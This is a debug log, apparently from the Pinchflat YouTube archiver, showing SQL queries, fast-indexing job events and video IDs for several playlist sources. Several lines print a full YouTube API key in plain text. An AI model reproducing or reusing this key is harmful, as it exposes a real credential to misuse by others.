(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 17:25:22.284 [debug] QUERY OK source="media_items" db=1.3ms idle=194.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:25:22.284 [debug] QUERY OK source="tasks" db=0.1ms idle=195.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268454, 11, ~U[2026-10-09 22:25:22Z], ~U[2026-10-09 22:25:22Z]] 17:25:22.284 [info] {"args":{"id":11},"id":5268415,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":196632,"event":"job:stop","queue_time":855043,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.346 [info] {"args":{"id":26},"id":5268416,"meta":{},"system_time":1791584722346150619,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.346 [debug] QUERY OK source="sources" db=0.1ms idle=61.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:25:22.346 [debug] QUERY OK source="settings" db=0.0ms idle=61.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.346 [debug] QUERY OK source="media_profiles" db=0.0ms idle=55.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:22.346 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.346 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:25:22.346 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.346 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:22.496 [debug] QUERY OK source="media_items" db=0.5ms idle=149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 17:25:22.497 [debug] QUERY OK source="media_items" db=0.6ms idle=150.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:25:22.498 [debug] QUERY OK source="tasks" db=0.1ms idle=150.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268455, 26, ~U[2026-10-09 22:25:22Z], ~U[2026-10-09 22:25:22Z]] 17:25:22.498 [info] {"args":{"id":26},"id":5268416,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151983,"event":"job:stop","queue_time":957041,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.504 [info] {"args":{"id":30},"id":5268417,"meta":{},"system_time":1791584722504207946,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.504 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:25:22.504 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.504 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:22.505 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.505 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:25:22.505 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.505 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:22.642 [debug] QUERY OK source="media_items" db=0.4ms idle=137.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:25:22.643 [debug] QUERY OK source="media_items" db=0.1ms idle=138.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:25:22.644 [debug] QUERY OK source="tasks" db=0.1ms idle=138.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268456, 30, ~U[2026-10-09 22:25:22Z], ~U[2026-10-09 22:25:22Z]] 17:25:22.644 [info] {"args":{"id":30},"id":5268417,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":139967,"event":"job:stop","queue_time":988257,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.650 [info] {"args":{"id":8},"id":5268418,"meta":{},"system_time":1791584722650139688,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.650 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:25:22.650 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.650 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:22.650 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.650 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:25:22.650 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.650 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:22.853 [debug] QUERY OK source="media_items" db=0.7ms idle=202.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:25:22.854 [debug] QUERY OK source="media_items" db=0.3ms idle=203.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:25:22.855 [debug] QUERY OK source="tasks" db=0.1ms idle=204.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268457, 8, ~U[2026-10-09 22:25:22Z], ~U[2026-10-09 22:25:22Z]] 17:25:22.855 [info] {"args":{"id":8},"id":5268418,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204950,"event":"job:stop","queue_time":989748,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.861 [info] {"args":{"id":34},"id":5268419,"meta":{},"system_time":1791584722861159290,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:22.861 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:25:22.861 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.861 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:22.862 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.862 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:25:22.862 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:22.862 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:23.120 [debug] QUERY OK source="media_items" db=0.7ms idle=258.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", 